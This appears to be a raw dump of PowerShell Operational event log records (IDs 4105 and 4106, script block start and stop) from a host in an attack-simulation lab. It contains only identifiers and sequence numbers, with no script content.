410615103150x0673085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 